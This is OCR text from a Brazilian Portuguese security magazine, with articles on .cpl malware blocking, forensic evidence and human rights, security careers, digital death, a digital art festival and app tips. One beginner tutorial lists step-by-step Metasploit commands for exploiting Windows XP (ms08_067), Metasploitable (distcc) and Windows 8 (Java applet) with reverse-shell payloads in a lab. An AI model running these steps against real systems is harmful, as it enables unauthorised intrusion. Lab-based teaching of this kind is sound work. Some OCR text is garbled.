forma que protejam seu ambiente antes. Perceba
que usei somente softwares livres para criar a pro-
tecdo acima. Certamente € possivel criar regras
em produtos como Snort, ClamAV e outros. Para
0S menos conservadores, pode ser interessante
bloquear qualquer arquivo .cpl. Depois a gente vé.
Algumas perguntas ainda martelam a minha ca-
beca e gostaria de compartilhar com vocé:

- Sera que a maioria dos proxies permite bloquear
por extensao dentro de arquivos comprimidos?

- Sera que a maioria dos scanners confia somente
na extenséo de arquivo?

- Qual sera o proximo tipo de arquivo executavel
que vai dar olé nas solucdes de seguranca?

[1] http://pev.sf.net
[2] https://code.google.com/p/yara-project/
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ciario atualmente e que nao é enfrentado

por todos os envolvidos: a questao dos pro-
cedimentos técnicos e juridicos para a realizagéo
de pericia forense em sistemas informatizados.

I Ié um problema que assola o Poder Judi-

Muitos dos problemas existentes perpassam
uma série complexa de situacdes e normas que
nao obedecem as melhores praticas tecnolbgicas
e juridicas. Alguns julgados passam ao largo de
questdes importantes e que alteram substancial-
mente o rumo da verdade dos autos.

Alias, é principio basico de um processo judiciario
a construcdo da pacificacdo social por meio de
procedimentos claros e transparentes, que gerem
uma verdade consistente e plausivel.

S se constroéi esta verdade na confluéncia entre o
conhecimento juridico e a racionalidade tecnolégi-
ca.

Apesar destes requisitos que sempre permearam
0 processo judiciariol, com o advento da internet
e da virtualizacao dos procedimentos processuais
algo se perdeu no meio do caminho da racionali-
dade tecnologica.

O Poder Judiciario, por deficiéncias historicas que
Ihe sdo inerentes, principalmente as que tocam a
eficiéncia e celeridade processual, assumiu a tec-
nologia como meio para superar estas situacoes
negativas. Fia-se este pensamento no triunfalis-
mo tecnoldgico que, em sua visdo, sanara todos
0s problemas de ma gestdo e administracao da
Justica no Brasil. Diante deste triunfalismo tec-
nolégico, ja criticado anteriormente2, véarios erros
vém sendo cometidos diariamente e, ndo raro, em
detrimento de conquistas histéricas e sociais re-
fletidas nos direitos humanos.

Escolhas técnicas mal direcionadas e formuladas
estdo reificando os mesmos problemas de ine-
ficiéncia e lentidao do Poder Judiciario com o adi-
tivo mais perigoso: caminhos escolhidos que véao
contra direitos humanos conquistados e que séo
refletidos em principios processuais.

Principios processuais de garantia da cidadania
estdo afrontados por escolhas tecnolbgicas inad-
equadas. Principios do devido processo legal, da

POR VICTOR HUGO P. GONCALVES

“ESCOLHAS TECNICAS
MAL DIRECIONADAS
E FORMULADAS
ESTAO REIFICANDO
OS MESMOS
PROBLEMAS DE
INEFICIENCIA E
LENTIDAO DO
PODER JUDICIARIO.”

informacao, de acesso ao judiciario, de peticao, de
ampla defesa e contraditério, dentre outros, séo
diariamente atacados por softwares e sitios fei-
tos por engenheiros que ndo vivem diariamente o
Poder Judiciario, o processo judicial e seus atores
(juizes, advogados, cartorarios e cidadaos).

A suposta celeridade conquistada nédo se constroi
em busca da pacificacdo social, pois a verdade
dos autos, principalmente nas questdes relativas
a pericia forense em sistemas informatizados, fica
prejudicada e inviavel de ser construida material-
mente. A verdade formal do processo se sobrepde
a verdade material, que € a obtida por procedi-
mentos da melhor técnica conhecida somados ao
respeito aos direitos humanos processuais.

E nesta busca do equilibrio necessario a con-
strucéo da verdade material dos processos, todos
os atores envolvidos tém falhado continuamente.

Varios fatores podem ser apontados como simbo-
los destas falhas: falta de compreensao das téc-
nicas e tecnologias envolvidas nas construgdes
de softwares e sistemas de gerenciamento; falta
de treinamento destes atores nas ferramentas e
escolhas tecnolégicas implementadas; a exclusao
digital da maioria dos atores envolvidos; falta de
profissionais qualificados para desenvolverem es-
tas interfaces entre o juridico e técnico; auséncia
de dialogos consistentes entre os atores envolvi-
dos; falta de parametros procedimentais tecnolégi-
cos e juridicos para o desenvolvimento de peri-




cias, incluida as de sistemas informatizados, etc.

As complexidades acima trazidas podem gerar in-
Umeros artigos e estudos, contudo, pela falta de
espaco e numa tentativa n&o reducionista mas
simples de lidar com todos estes problemas, este
pequeno artigo tem como incumbéncia introduzir
os direitos humanos como parametro inicial para
desenvolver politicas e praticas procedimentais
corretas e constitucionais, principalmente em rela-
¢ao as pericias em sistemas informatizados.

Assim, a técnica, dentro da visao juridica, tem de
se adequar aos ditames e parametros definidos
pelos direitos humanos e ndo o contrario, como
tem ocorrido desde a implantacédo da Lei de Pro-
cesso Eletronico (Lei n. 11.419/20086).

Por outro lado, os direitos humanos nao sao abso-
lutos e somente podem ser restringidos mediante
ordem judicial fundamentada para tanto.

Os limites a serem impostos aos direitos funda-
mentais estéo relacionados ao que se quer inves-
tigar, como e com quais ferramentas e ao principio
da intervengdo minima para alcancgar os objetivos
necessarios.

E neste duplo conceitual de limitagées em que a
racionalidade tecnoldgica e os direitos humanos
devem construir a verdade material dos processos
judiciais, que chamo de Teoria de Shylock.
Shylock é um judeu agiota da histéria de William
Shakespeare, o Mercador de Veneza. Antonio, um
grande comerciante veneziano, toma dinheiro em-
prestado de Shylock e promete pagar num deter-
minado dia.

Por forca maior, o carregamento de produtos de
Antonio afunda no Mediterrdneo e Antbnio néo
consegue pagar a divida com Shylock. Este, que
possuia um édio muito grande contra Antonio, em
vez de cobrar juros do descumprimento, requereu,
por contrato, o coracdo de Antdnio. Este tentou
contra argumentar esta clausula, no que foi recha-
cado por Shylock, que quis executar o contrato.

O caso foi para o Judiciario. Aquela época era
permitido este tipo de clausula penal, que podia
ser executada via judiciario. Depois de inUmeros
debates, Shylock quase conseguindo o cumpri-
mento da obrigacgéo, o juiz da sentenca de Antdnio

"O SANGUE NAO
ESTAVA ESCRITO NO
CONTRATO COMO

MULTA PELO
DESCUMPRIMENTO,
SOMENTE O
CORACAQ"

argumentou que, se fosse executado o contrato,
este teria que cumpri-lo a risca e dentro dos limites
impostos pela letra que assegurava o seu direito.
Assim decidiu o juiz da causa:

“Um momentinho, apenas. Ha mais alguma coisa.
Pela letra, a sangue jus ndo tens, nem uma gota.
Sao palavras expressas: “uma libra de carne. Tira,
pois, o combinado: tua libra de carne. Mas se
acaso derramares, no instante de a cortares, uma
gota que seja, so, de sangue cristao, teus bens
e tuas terras todas, pelas leis de Veneza, para o
Estado passar&o por direito”.

O sangue nao estava escrito no contrato como
multa pelo descumprimento, somente o coracgéo.
Assim, a letra da lei, que foi o acordo entre as par-
tes, ndo poderia ser descumprida com o derrama-
mento de sangue que ndo estava inscrito nela.

O sangue, simbdlica e juridicamente, era o ex-
cesso da execucgdo do detentor do direito. E este
excesso deve ser restringido e coibido, como o foi
na peca.

Assim, o caso literario de Shylock, conceitual-
mente, aplica-se a todos os casos de pericia em
sistemas informatizados, pois, desde o pedido
inicial até o cumprimento do mandado, em toda
a cadeia procedimental que leva até a obtencéo
da prova, de forma licita, os envolvidos deverao
realizar as praticas que respeitem este binémio:
melhores praticas técnicas e respeito aos direitos
humanos fundamentais.

Se o coragao tecnicamente nao pode ser obti-
do sem o sangue, nao ha como se implementar
mandado de execuc&o. A racionalidade inviabi-
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liza a continuidade da pericia. Logicamente, esta
questdo do Shylock se fosse aplicada a luz dos
direitos humanos nao poderia nem ser aventada a
possibilidade de se executar o coracéo de alguém,
ja que fere o principio maximo da dignidade da
pessoa humana3 albergado em todos os tratados
internacionais e no art. 1, inc. lll, da Constituicao
brasileira de 1988.

E no exercicio desta légica estratégica que uma
pericia em sistema informatizado sempre deve ser
realizada e, para tanto, deve-se buscar as mel-
hores técnicas (juridica e tecnoldgica) para se con-
struir o caminho da verdade material dos autos.

Infelizmente, nas pericias em sistemas informa-
tizados em tempos de procedimento eletrénico
realizadas no Poder Judiciario, estdo desconside-
rando os direitos fundamentais e até as melhores
praticas (juridicas e tecnoldgicas). Exemplos néo
faltam de total despreocupacao com os metddos
rigorosos de pesquisa cientifica que determinam
condenados e inocentes, vitorias ou derrotas em
indeniza¢des. Em alguns casos, o Judiciario, guar-
dadas as devidas proporcdes, para executar de-
terminados direitos ou prisbes de supostos crim-
inosos tem tirado coragédo com sangue e tudo.

Caso que demonstra isto é o da atriz Carolina Di-
eckman, que deu desencadeou uma lei de crimes
informaticos. Em investiga¢do ndo muito clara e to-
talmente arbitraria, foi preso alguém que, a priori,
poderia ter divulgado as fotos de nudez desta atriz.

Qual foi o procedimento empregado a captura
deste suposto acusado? As maquinas de inves-
tigacdo invadiram dados pessoais do acusado?
Houve invasao de privacidade? O mandado judi-
cial determinou corretamente o0 que estava sendo
investigado e orientou a busca de provas? Nada

disto foi informado nem qual foi o procedimento
aplicado para a captura do acusado e nem mesmo
se a propria vitima se exp0s a esta situacéo.

A titulo de exemplo, nos casos de pedofilia infantil
na internet, existem inUmeros problemas investi-
gativos que vao desde o despacho judicial até a
conclusao do processo na sentenca.

Todos os mandados deste crime devem obede-
cer os direitos fundamentais de forma especifica
e clara e determinar que tipos de arquivos a in-
vestigagcao requer, ou seja, arquivos de imagens e
videos e quais sdo os requisitos técnicos minimos
para a coleta.

Contudo, nao raro, os peritos, sem quaisquer pro-
cedimentos tracados e acordados, abusam do di-
reito atribuido a busca e apreensdo e amealham
arquivos nas extensdes pdf, word, exe, odt, ODF,
ppt, etc., sem justificar tecnicamente se estavam
capturando imagens e videos dentro destes for-
matos e qual tecnologia estavam aplicando.

Assim, algumas situagdes séo verificadas: os peri-
tos ndo determinam as ferramentas que irdo uti-
lizar; ndo blogueiam a comunicacdo da entrada
USB; nao determinam e divulgam as técnicas de
espelhamento do HD necessarias para o desen-
volvimento da investigagdo pericial, enfim, uma
série de situagbes que inviabilizam a integridade
juridica e técnica da prova.

Diante disto, estas pericias extrapolam os limites
técnicos e acabam por invadir direitos fundamen-
tais dos envolvidos e dos n&o envolvidos, por ndo
respeitarem o devido processo legal, a ampla de-
fesa, o contraditorio, além dos principios da segu-
ranca juridica e tecnolégica.




Os estudiosos do Direito também se alinha a este
posicionamento: “sdo inadmissiveis, devendo ser
desentranhadas do processo, as provas ilicitas,
assim entendidas as obtidas em violagéo a nor-
mas constitucionais ou legais”4.

Vé-se claramente que a Teoria de Shylock, ou
seja, a busca do desenvolvimento das melhores
praticas tecnologicas com respeito aos direitos : VICTOR HUGO
humanos, deve servir de pardmetro de atuacao i
para todos os atores de processos extrajudiciais e CBacharel em Direito pela Pontificia Universi-

judiciais, a fim de que as pericias realizadas pro- dade Catélica de Sao Paulo — PUCSP (2004),
duzam provas integras, auténticas e validas para B REIS R ERE IV e Bl ERG RSN 22T 6
ensejaram principalmente decisbes verdadeiras e — USP (2005)

justas.
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Pericias em sistemas informatizados negligentes
ou fora de parametros procedimentais rigidos po-
dem construir provas falsas e destruir a vida de
seres humanos, que se tornam duplamente viti-
mas de sua ignorancia e do despreparo dos atores
(peritos, juizes e advogados) que deveriam aplicar
os melhores métodos tecnoldgicos e juridicos e
nao o fazem.
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ivemos a era da informacgao, onde os dados
Vproporcionam diferenciais competitivos de

grande impacto, o que implica diretamente
na lucratividade das empresas. Sao nas informa-
¢bes que residem o conhecimento, as transacoes,
as regras de negdcios, os dados de clientes, in-
formagdes financeiras, além de diversos outros
conteudos confidenciais de extremo valor e funda-
mentais para vitalidade das organizagdes.

Na proporcdo em que as informagbes ganham
destaque, elas se submetem ao constante risco,
sendo alvo de ataques, fazendo com que a se-
guranca da informacéo se torne um ponto crucial
e estratégico para continuidade e credibilidade
das empresas. A demanda por servicos na area
de seguranca da informacao nunca foi tao forte,
gerando um grande déficit de profissionais quali-
ficados e grandes novas oportunidades para este
mercado em expansao.

POR FERDINANDO KUN

FONTE CANSTOCKPHOTO.COM

A RESPONSABILIDADE DO PROFISSIONAL
DA SEGURANCA DA INFORMACAO

Garantir que as informagdes estejam em um lo-
cal adequado, disponiveis no momento desejado,
sejam confiaveis e que permanecam protegidas
contra fraudes e aquisi¢des inapropriadas, s&o 0s
deveres de um profissional especializado em se-
guranca da informac&o. Vale a pena ressaltar que
nao existe risco zero e entdo esses especialistas
buscam diminuir os riscos em que as empresas
estédo expostas.

Uma das maiores dificuldades deste profissional &
assegurar que todos os funcionarios conhegcam e
sigam corretamente as normas e politicas de se-
guranca estabelecidas pela empresa, e que enten-
dam a sua importancia. Afinal de contas, as pes-
soas sdo o elo mais fraco da seguranca.




O MERCADO E SEUS DESAFIOS

Entdo, os profissionais de Seguranga sdo como
“Rock Stars” da Tl, correto?

Infelizmente ndo é bem isso que vemos na pratica,
muitas empresas insistem em ndo dar o devido
valor quanto a seguranca das suas informacoes,
talvez porque ainda a encarem como um bem fisi-
co, de facil manuseio e protecédo, como costumava
acontecer a cerca de dez, doze anos atras, antes
do estouro da internet, do BYOD (Bring your own
device) e da computacao nas nuvens.

O mercado brasileiro possui dois grandes desa-
fios: mudar a cultura das empresas, mostrando o
quanto € importante proteger suas informacoes;
e incentivar novos profissionais a escolher a area
a se especializarem para criacao de méo de obra
qualificada para atender a demanda deste merca-
do de trabalho.

OPORTUNIDADES

Pesquisas de alguns dos principais laboratérios de
seguranca da informac&o demonstram, conforme
infografico na pagina 44 que as empresas podem
estar mais expostas a problemas de seguranca
da informagdo do que imaginam. O volume de
ataques recebidos e 0s prejuizos acarretados por
eles s&o altos e somente a minoria das empresas
possui consciéncia destes riscos.

CARREIRA E CAPACITAGAO

A chave do suXcesso para profissionais de segu-
ranca da informacdo é basicamente o equilibrio
entre as caracteristicas comportamentais e o con-
hecimento técnico.

As certificagbes sdao uma porta de entrada para
profissionais que desejam adquirir conhecimentos
na area. Existem diversas certificacdes no merca-
do para os profissionais da area de Seguranca da
Informacéo.

Estas certificacbes abordam desde conceitos
béasicos de seguranca da informacdo, tais como
Seguranca de redes, conformidade e seguranca
operacional, ameacas e vulnerabilidades, segu-
ranca de aplicagdes, dados e estagbes, controle

de acesso e geréncia de Identidade, e criptogra-
fia. Garantem que os profissionais certificados nao
estardo somente aptos a aplicar os conhecimen-
tos de conceitos, ferramentas e procedimentos de
seguranca para reagir a incidentes de segurancga,
como também estarao aptos a antecipar riscos de
seguranca, sendo capazes de tomar as medidas
proativas necessarias.

Existem inUmeras trilhas de certificagbes no qual
os profissionais podem se especializar em dife-
rentes funcbes como: forense computacional,
analista, pesquisador de vulnerabilidades, teste
de invasdo, desenvolvimento seguro, gestor de
seguranca da informagdo e outros. E importante
ressaltar a importancia do profissional ter um bom
conhecimento computacional, principalmente na
area de redes.

N&o podemos esquecer que o trabalho de segu-
ranca implica uma grande responsabilidade e con-
fiabilidade, caracteristicas que ndo podem ser ad-
quiridas apenas com exames de certificacdes.
Além das certificagdes, graduacdes e todos os va-
lores que foram citados acima sao de grande im-
porténcia para que o profissional tenha uma men-
talidade diferente, o que Bruce Schneier, escritor e
especialista em Seguranga da Informacgéo, chama
em um editorial da Wired News de “The Security
Mindset”.

Schneier, afirma que a mentalidade de seguranca
envolve pensar sobre como as coisas podem ser
feitas para falhar. Trata-se de pensar como um
atacante, um adversario ou um criminoso.

Segundo ele, ndo é necessario explorar completa-
mente as vulnerabilidades encontradas, porém se
o profissional ndo enxergar o mundo desta forma,
jamais ira notar a maioria dos problemas de segu-
ranca.

Outro ponto extremamente importante que é
freqlientemente reforcado por varios especialistas
da area € um dos principios das artes marciais:
“vocé precisa aprender a atacar para saber como
se defender”. Enfim, um profissional de seguranca
da informacg&o ndo pode ser conformista. Ele pre-
cisa aprender, buscar conhecimento, questionar e
confirmar o que realmente funciona.
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Cibercrime custaUS$ 2,] bilhdes paraempresas
Fonte:RSA

35% das empresas recebem entre

26 e S0 ataques virtuais por semana
Fonte: CheckPoint

64% das companhias brasileiras

perderam informagdes importantes
devido ao cibercrime
Fonte: CheckPoint

(o) = :
Apenas 6 /) das empresas sGo conscientes sobre
riscos de seguranga

Fonte:Kaspersky . _

Na América Latina, 68% das
empresas sofreram ataques de

Brasil de RS 1,4 bilhgo em 2012 malware nos ditimos 2 meses
Fonte:BSB International
Fonte: Febraban

Fraudes eletrénicas causaram um prejuizo nos bancos do

- AN >

Quantidade de vagas para profissionais de
segurang¢a é maior do que a oferta

Fonte: Burning Glos Brasil estd entre os cinco paises com

maior nimero de ataques a empresas
Fonte:RSA

Mercado de Seguranga global estd crescendo 8,7% em 2013
Fonte: Gartner




CONCLUSAO

O mercado esta aquecido e as oportunidades ain-
da sdo pouco exploradas nesta area, com certeza
a profissdo sera uma das mais reconhecidas, im-
portantes e procuradas em alguns anos, porém,
€ importante ressaltar que € necessario a criagéo
urgente de mao de obra qualificada e que as em-
presas iniciem uma mudanca cultural valorizando
e buscando cada vez mais contratar profissionais
para proteger suas informacdes.

Afinal, € melhor prevenir do que remediar.

Fontes

http.//www.schneier.com/blog
http://www.tecmundo.com.br
http.//pt.wikipedia.org/wiki/Era_da_informag&o
http.//www.publico.pt/tecnologia
http://roneymedice.com.br

http.//www.techvoice.org
http.//www.gartner.com/technology
http.//www.seginfo.com.br
http.//idgnow.uol.com.br/ti-corporativa
http://informationweek.itweb.com. br
http://www.administradores.com.br/noticias

SEMOLA, M. Gestdo da Seguranca da Informacéo,
Uma Visdo Executiva. 7 edigdo. Rio de Janeiro: Else-
vier, 2003

FERDINANDO KUN

CEO & Founder na GooData

Profissional com mais de 8 anos de experiéncia
na area de Tl

“Iniciando especializacéo na area de Seguranca
da Informacgao”

MCP, ITIL e CompTIA Security +

Graduando em Ciéncia da Computagéo
Palestrante em Faculdades e Eventos como
FISL

E-mail: ferdinandokun@goodata.com.br

Twitter: @FerdinandoKun
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conhecimentos!

Stands dos

Patrocinadores
As melhores tendéncias do
mercado
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Para seu momento OFF!
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uando eu decidi escrever este artigo pensei
em trabalhar com um modelo com muito
menos teoria e muito mais mao na massa

e que focasse principalmente em
um publico mais iniciante que esta
naquela vontade de “hackear”
algo, porém nao tem a menor idéia
de como fazer.

Sei que normalmente um artigo
deve ter todo o embasamento
tedrico necessario para compro-
vacgao e até mesmo explicacédo do
que esta acontecendo em cada
etapa do processo, mas neste
caso optei por fazer algo mais di-
reto e que auxilie o iniciante a ob-
ter éxito em sua primeira tentativa
e com isto motive-o para entrar
neste mundo de inseguranca da
informacao.

O Unico ponto que quero ressaltar
aqui antes de ir para o Hands On
€ a importancia de se fazer estes testes todos em
laboratério préprio, utilizando até mesmo maqui-
nas virtuais, e obviamente somente para fins éti-
Cos.

Entdo, vamos primeiro falar um  pou-
co sobre o0 cenario que utilizaremos.
Teremos 4 maquinas virtuais que serao configura-
das e instaladas da seguinte maneira:

Sistema Operacional Endereco
Distribuicao IP

Backtrack 192.168.0.1
Windows XP 192.168.0.100

LINUX Metasploitable 192.168.0.5

Windows 8 192.168.0.101

Com o cenario ja estabelecido e configurado va-
MOS a0 passo a passo:

Utilizando a maquina BackTrack podemos car-
regar o Metasploit com o comando:

msfadmin;

POR JORDAN M. BONAGURA

Podemos verificar qual verséo esta sendo utilizada
dentro do prompt do metasploit com o comando:
version e Obvio que podemos sempre consultar o
comando: help

FIGURA 1 - HELP NO MSFADMIN

Com o cenario ja estabelecido e configurado va-
MOS ao passo a passo:

Utilizando a méaquina BackTrack podemos car-
regar o Metasploit com o comando:
msfadmin;

Podemos verificar qual verséo esta sendo utilizada
dentro do prompt do metasploit com o comando:
version e Obvio que podemos sempre consultar o
comando: help

Para ver os varios exploits existentes e ter uma
leve nocéo de sua aplicabilidade, digite o comando
show exploits no prompt msf>

Cenario 1 Windows XP

info windows/smb/ms08_067

use windows/smb/ms08_067

show options

set RHOST 192.168.0.100

set target 0

set PAYLOAD windows/meterpreter/
reverse_tcp

set LHOST 192.168.0.1

check




exploit

Apbs a execucdo do exploit existira um sessao ab-
erta onde pode-se digitar o comando pwd e veri-
ficar que esta dentro do C:\Windows\System32 ,
outro comando pode ser utilizado € o sysinfo.

Cenario 2 LINUX Metasploitable

info unix/misc/distcc_exec JORDAN BONAGURA
use unix/misc/distcc_exec Pesquisador em Seguranga da Informacéo /
show options CEH

set RHOST 192.168.0.5

show payloads

set PAYLOAD cmd/unix/reverse
set LHOST 192.168.0.1

check

exploit

Fundador do Projeto Stay Safe

Organizador da Vale Security Conference
Membro da Comissdo de Crimes de Alta Tecno-
logia da OAB

Professor e Coordenador de Curso em Tl
Fundador do SJC Hacker Clube

ApoOs a execucao do exploit existira um sessao ab-
erta onde pode-se digitar o comando pwd e verifi-
car que esta dentro do

tmp

Cenario 3 Windows 8

info multi/browser/java_signed_applet
use multi/browsetr/java_signed_applet
show options

set SRVHOST 192.168.0.101

set LPORT 1111

set uripath /

preter/res\?;rzgftlz:gAD windowsimeter SEJA UM COLABORADOR DA
etporzzzz o H2HC MAGAZINE!

exploit

HACKERS TO HACKERS CONFERENCE
MAGAZINE

Apbs a execugdo do exploit existird um sesséo
aberta onde pode-se digitar o comando pwd e

eyeinio tamsom poce ser iaado, | ENVIE SEU ARTIGO PARA NOSSA
EQUIPE DE AVALIAGAQ!

Agora que vocé ja conseguiu invadir em seu
laboratério 3 diferentes sistemas operacionais,
esta na hora de melhor se aprofundar e comecar
a entender como estes exploits sdo capazes

de explorar estas vulnerabilidades, bem como ,
melhor compreender conceitos de redes de com- I‘eVISta@h 2hC com. br
putadores e sistemas operacionais, pois somente

estudando vocé realmente conseguira obter éxito

em suas estratégias de hacking.
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morte é o tabu da sociedade contemporéanea.
Este assunto € amplamente discutido, mas
e maneira bastante superficial. Dificilmente

fala-se sobre o que sera do legado virtual apos
nossa partida.

A recente noticia da morte de Barnaby Jack nos
traz uma pergunta importante: estamos prepara-
dos para nossa morte virtual? Um profissional
como Jack, com tantas pesquisas importantes, e
provavelmente com projetos em andamento no
momento de seu falecimento — teve seu legado
perdido?

E de se imaginar que um profissional da area de
seguranca tenha seus dados privados mantidos
com senhas, mas também é preciso pensar em
medidas para que dados sigilosos ndo sejam exp-
ostos apos o falecimento do usuario.

Como garantir que aquele segredo antigo nao
vaze, OU mesmo que suas pesquisas ainda em
fase de teste possam ter continuidade pelas maos
de outras pessoas caso vocé nao esteja mais
aqui?

Muitas pessoas morrem e seus perfis continuam
existindo nas redes sociais. O ser humano é um
ser social por natureza, e a morte de alguém sem-
pre traz uma separagao nossa do outro, o que pode
ser muito dificil de lidar, principalmente quando se
trata de alguém querido.

Atualmente ja existem sites para gerenciar quais
dados deseja-se manter online e quais devem ser
eliminados ap6s o falecimento. E possivel criar um
memorial virtual onde vocé podera ser lembrado
pela sua rede de contatos previamente selecio-
nados. Nem sempre as pessoas ficam a vontade
diante dessa possibilidade, mas para outras é
uma forma de expressar o que sentem pelo ente
querido e pode ser benéfico para lidar com o sen-
timento de perda.

A virtualidade nos permite mais uma maneira de
abordar essa questao tao delicada, que é a morte.
Os recursos das vias virtuais nos possibilitam uma
aproximag¢ao mais rapida dos acontecimentos e
das outras pessoas, 0 que pode favorecer uma ex-
periéncia mais saudavel do processo de luto, seja

POR ANA LUIZA MANO

“E POSSIVEL CRIAR
UM MEMORIAL
VIRTUAL ONDE VOCE
PODERA SER
LEMBRADO PELA SUA
REDE DE CONTATOS
PREVIAMENTE
SELECIONADOS.”

individual ou em grupo.

Entao fica a pergunta: pode existir vida online ap6s
a morte? Tecnicamente nao sei dizer, porém me
sobressalta ver um amigo, falecido ha cerca de um
més, ainda online.

L, | ANA LUIZA MANO
Psicologa — CRP 06/105003

Psicéloga coordenadora no Instituto Coaliza
de Educacao Cidada e Digital, Psicologa aux-
iliar voluntaria no Nucleo de Pesquisa da Psi-
cologia em Informatica da PUC-SP.
Psicéloga em consultério particular presen-
cial e também virtualmente.

Consultora em Recursos Humanos.

e-mail:
ana@psicologosdainternet.com.br
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IMAGENS E TEXTO POR LAILA DUELLE

SESI-SP realizou, do dia 23 de julho a 1° de setembro, a 14® edi¢cdo do FILE —

Festival Internacional de Linguagem Eletrénica, maior encontro do pais sobre

arte digital. A programacéo, com entrada gratuita, ocupou quatro espacos do Centro

Cultural FIESP — Ruth Cardoso, na avenida Paulista: a Galeria de Arte, Galeria de

Arte Digital SESI-SP (fachada do prédio FIESP/SESI-SP), o Espaco FIESP | e o Es-
paco Mezanino, além da estacdo Trianon-Masp do metré.

Nesta edicdo o FILE apresentou o FILE LED SHOW, com imagens interativas no

painel de led na Galeria de Arte Digital SESI-SP, fachada do prédio da FIESP/SESI-

SP, além das animacgdes, instalacdes interativas, aplicativos para tablets, games,

maquinemas, performances, workshops, mesas-redondas e encontros com artistas
internacionais.

Reunindo arte e diferentes midias eletrénicas, os trabalhos levaram os visitantes

a producgdes criativas das linguagens visuais e sonoras. O festival contemplou al-

guns aninhamentos (clusters): FILE Instala¢des Interativas, FILE LED SHOW, FILE

Games, FILE Maquinema, FILE Anima+, FILE Tablet, FILE Media Art, FILE Metro,
FILE Hipersénica e FILE Symposium e Workshop.
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FILE LED SHOW FILE Games

O FILE Games 2013 trouxe incriveis games de
Modifique o painel com a sua voz estudios independentes, produgcdes de grandes
Pela primeira vez o FILE apresentou o FILE LED desenvolvedores e instalagbes de varios paises
SHOW no gigantesco painel de LED na fachada unidos no mais importante evento artistico-cultur-
do prédio FIESP/SESI- al de arte e tecnologia
SP com o trabalho inédi- da América Latina.
to e interativo do famoso
grupo francés 1024 ar-
chitecture, dos artistas
Pierre Schneider & Fran-
cois Wunshel.
As pessoas poderédo
modificar as imagens do
painel através da sua voz
ou do cantarolar de uma
musica.

Os games selecionados
sdo diversos, mas tém
como ponto em comum
sua relacédo com a arte,
seja ela por meio de
inovagdes tecnologicas,
graficos ou jogabilidade.

Entre os games sele-
cionados para este ano,
tivemos como destaque
0 minimalista “140” de
Jeppe Carlsen e “Machi-
narium”, adoravel jogo
do estidio Amanita De-

FILE Anima+

FILE Anima+ apresen-
tou, em sua 3* edicao,
diferentes géneros de
animacao, que vao desde curtas e longas-metra-  sign.
gens experimentais até filmes de grandes estu-
dios, inclusive animacdes interativas. Destaques FILE Games
Destaque FILE Anima+ Jeppe Carlsen — 140 — Dinamarca | Denmark

Desenvolvido pelo

Anrick Bregman &
Koji Morimoto — At-
traction (animacéo
interativa) — Fran-

¢a, Japao & Brasil
“Attraction” é o
primeiro anime in-
terativo do mundo,
criado como parte
de uma campanha
antitabagismo e
dirigido por Koji
Morimoto e Anrick
Bregman.

Ele conta a histoéria
de Hiro, Koichi e
Ren, trés adoles-

centes que vivem em Toquio, no ano de 2050 e
descobrem que crescer nao € tao divertido quanto
parece a primeira vista.

game designer de
Limbo, “140” & um
jogo minimalista e
desafiador, com-

posto por platafor-
mas com graficos
coloridos  abstra-
tos. De modo a su-
perar os obstacu-
los controlados por
uma trilha sonora
eletrénica energé-
tica e melancodlica,
€ necessario pos-
suir  consciéncia
ritmica, elemento
central de sua jo-
gabilidade.

Amanita Design s.r.0. — Machinarium — Republica
Checa | Czech Republic
“Machinarium” € um jogo de aventura que conta a




historia de um pequeno robd que foi expulso para “Corpo Digitalizado” € uma instalagdo interativa
um ferro-velho atras de sua cidade e precisa voltar em que o visitante podera digitalizar seu corpo
para enfrentar a Irmandade Black Cap e salvar sua em diferentes posicoes e podera vé-lo através de

namorada-robé.

Com graficos belissi-
mos, diversos puzzles
e mini-games, vocé é
levado a explorar a lend-
aria cidade enferrujada
de “Machinarium” en-
quanto é envolvido por
sua trilha sonora.

FILE Metro

Usuario também é autor
No metrd Trianon-Masp
foi apresentado a insta-
lacdo interativa da ar-
tista brasileira Juliana
Cerqueira, Corpo Digita-
lizado.

https://wwwbooboou.comn i

monitores de TV.
FILE Symposium

O FILE Symposium é
um espaco para discutir
a cultura digital eletroni-
ca em suas relacoes in-
ternacionais e ampliar o
dialogo sobre a cultura
digital em sua extensao
interdisciplinar.

O FILE Symposium
teve mesas das quais
participaram  artistas,
teéricos e pesquisa-
dores brasileiros e es-
trangeiros da area de arte-tecnologia.

o ¢ ETITIFEEE W&

booboou

A rede social da sua vida social

- valeska seul 26

O booboou é uma rede social que retine outras redes sociais. E simples de
entender e mais simples ainda de usar. O booboou ndo é um feed de noticias,
ele é um site que permite vocé interagir, compartilhar, postar, visualizar,

e muito mais em apenas um site.

Vocé tem acesso a suas redes socais em um unico site, vocé so precisa
se conectar com a gente ;)
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DICAS, NOVIDADES, COMEDIA E MUITO +

APPS

H2HC - O aplicativo que te mantem
informado de todo conteudo da confer-
éncia e agenda das palestras. Super util!
Disponivel para Iphone e Android.

Textsecure - Ferramenta para envio
e recebimento de SMS criptografados
ponta-a-ponta. Quando ambas as par-
tes possuem a ferramenta instalada,

' uma sessio segura € utilizada. Nao usa a
infra-estrutura de internet, apenas o proprio sistema

de SMS. Open-source é gratuita. Disponivel para An-
droid.

A Fantastical - Apps de agenda e calen-
dario para o iPhone néo faltam, mas o

| Fantastical esta entre os melhores, o
“ motivo é simples: é incrivelmente facil

_—
de usar, mas ainda assim é poderoso. Vocé pode adi-
cionar compromissos escrevendo em inglés (“lunch
with mom tomorrow”), a navegac¢ao por gestos é in-
tuitiva, vocé pode facilmente editar os eventos e a var-
iedade de op¢oes de visualizacao permitem que vocé

saiba sempre o que vai acontecer.

CHARGE

Seguranga ndo é coisa
pra gazela meu chapa !
"Run Forest, run"ll

Gentilmente cedido pela OYS:
www.oys.com.br

RedPhone - Ferramenta para crip-
tografia de comunicag¢des de voz pont-
a-ponta. Faz uso de internet. Ambas as
partes possuindo o RedPhone, o mesmo
garante a criptografia dos dados. Open-
source é gratuita. Disponivel para Android e Iphone.

\

Pocket - Servico de “leia mais tarde” é
otimo no desktop, mas ele é realmente
excelente nos dispositivos moveis. Salve
artigos que vocé encontra por ai e tenha

acesso a eles no celular para ler quando
estiver entediado. Disponivel para Iphone.

T T

LIVROS

— Rapido e Devagar - Duas Formas
r4pipo  de Pensar - Por Daniel Kahneman

e bEVKGAB
s O vencedor do Nobel de Economia
DANIEL  Daniel Kahneman nos mostra as for-
KAHNEMAN mas que controlam a nossa mente em

x Répido e devagar, as duas formas de
pensar: o pensamento rapido, intuitivo e emocional

e o devagar, légico e ponderado. Daniel nos mostra
a capacidade do pensamento rapido, sua influéncia
persuasiva em nossas decisoes e até onde podemos ou
ndo confiar nele. O entendimento do funcionamento
